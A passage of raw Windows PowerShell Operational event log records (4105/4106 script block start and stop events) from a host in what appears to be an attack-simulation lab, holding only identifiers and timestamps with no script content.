09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038965
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038959
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038937
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038935
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038934
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
